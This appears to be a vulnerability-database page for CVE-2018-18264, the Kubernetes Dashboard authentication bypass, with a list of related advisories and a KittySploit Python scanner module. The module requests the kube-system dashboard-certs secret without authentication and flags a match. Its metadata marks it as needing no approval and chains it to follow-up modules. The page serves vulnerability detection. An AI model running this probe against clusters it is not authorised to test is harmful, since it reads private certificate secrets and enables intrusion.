Kubernetes Dashboard <1.10.1 - Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2018-18264: Kubernetes Dashboard TLS Certificate Leak | Cloud Foundry | 4 Jan 201900:00 | – | cloudfoundry | |
| Kubernetes Dashboard Authentication Bypass Vulnerability | 3 Jan 201900:00 | – | cnvd | |
| Kubernetes Dashboard Authentication Bypass Information Disclosure (CVE-2018-18264) | 24 Feb 201900:00 | – | checkpoint_advisories | |
| CVE-2018-18264 | 3 Jan 201901:00 | – | cve | |
| CVE-2018-18264 | 3 Jan 201901:00 | – | cvelist | |
| CVE-2018-18264 | 3 Jan 201901:00 | – | mend | |
| Kubernetes Dashboard <1.10.1 - Authentication Bypass | 15 Oct 202602:05 | – | nuclei | |
| CVE-2018-18264 | 3 Jan 201901:29 | – | nvd | |
| Kubernetes Dashboard < 1.10.1 Authentication Bypass Vulnerability | 4 Jan 201900:00 | – | openvas | |
| Oracle Linux 7 : kubernetes / kubeadm-upgrade / kubeadm-ha-setup (ELSA-2019-4593) | 7 Sep 202300:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kubernetes Dashboard before 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Kubernetes Dashboard <1.10.1 - Authentication Bypass Detection',
'description': "Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.",
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'kubernetes', 'k8s', 'auth-bypass', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/kubernetes/dashboard/pull/3289',
'https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/',
'https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI',
'https://nvd.nist.gov/vuln/detail/CVE-2018-18264',
'https://github.com/kubernetes/dashboard/pull/3400',
],
'cve': 'CVE-2018-18264',
}
def run(self):
for path in ('/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs', '/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_any = ('apiVersion', 'objectRef',)
if (any(m in body for m in body_any)):
self.set_info(
severity='high',
reason="Kubernetes Dashboard <1.10.1 - Authentication Bypass detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 37.5
EPSS0.70372